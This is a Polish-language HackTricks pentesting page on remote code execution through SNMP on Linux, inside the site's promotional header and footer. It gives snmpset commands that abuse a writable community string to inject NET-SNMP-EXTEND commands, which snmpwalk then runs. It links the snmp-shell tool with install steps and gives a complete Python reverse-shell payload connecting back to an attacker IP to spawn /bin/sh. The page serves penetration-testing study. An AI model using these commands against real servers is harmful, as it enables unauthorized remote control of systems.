5.2 KiB
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź SUBSCRIPTION PLANS!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
SNMP RCE
SNMP może zostać wykorzystany przez atakującego, jeśli administrator przeoczy domyślną konfigurację na urządzeniu lub serwerze. Poprzez wykorzystanie społeczności SNMP z uprawnieniami do zapisu (rwcommunity) w systemie operacyjnym Linux, atakujący może wykonywać polecenia na serwerze.
Rozszerzanie usług za pomocą dodatkowych poleceń
Aby rozszerzyć usługi SNMP i dodać dodatkowe polecenia, można dołączyć nowe wiersze do tabeli "nsExtendObjects". Można to osiągnąć za pomocą polecenia snmpset
i podając niezbędne parametry, w tym bezwzględną ścieżkę do pliku wykonywalnego i polecenie do wykonania:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
Wstrzykiwanie poleceń do wykonania
Wstrzykiwanie poleceń do wykonania na usłudze SNMP wymaga istnienia i możliwości wykonania wywoływanego pliku/skryptu. NET-SNMP-EXTEND-MIB
wymaga podania bezwzględnej ścieżki do pliku wykonywalnego.
Aby potwierdzić wykonanie wstrzykniętego polecenia, można użyć polecenia snmpwalk
, aby wyliczyć usługę SNMP. Wyjście wyświetli polecenie i jego powiązane szczegóły, w tym bezwzględną ścieżkę:
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
Wykonywanie wstrzykniętych poleceń
Gdy wstrzyknięte polecenie jest odczytywane, jest ono wykonywane. Zachowanie to jest znane jako run-on-read()
. Wykonanie polecenia można zaobserwować podczas odczytu snmpwalk.
Uzyskiwanie powłoki serwera za pomocą SNMP
Aby uzyskać kontrolę nad serwerem i zdobyć powłokę serwera, można skorzystać z skryptu pythona opracowanego przez mxrch, dostępnego pod adresem https://github.com/mxrch/snmp-shell.git.
Alternatywnie, można ręcznie utworzyć odwróconą powłokę, wstrzykując określone polecenie do SNMP. To polecenie, wywołane przez snmpwalk, ustanawia połączenie odwrotne z maszyną atakującego, umożliwiając kontrolę nad maszyną ofiary. Możesz zainstalować wymagane oprogramowanie do uruchomienia tego:
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
Lub odwrócony shell:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
Odwołania
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć reklamę swojej firmy w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.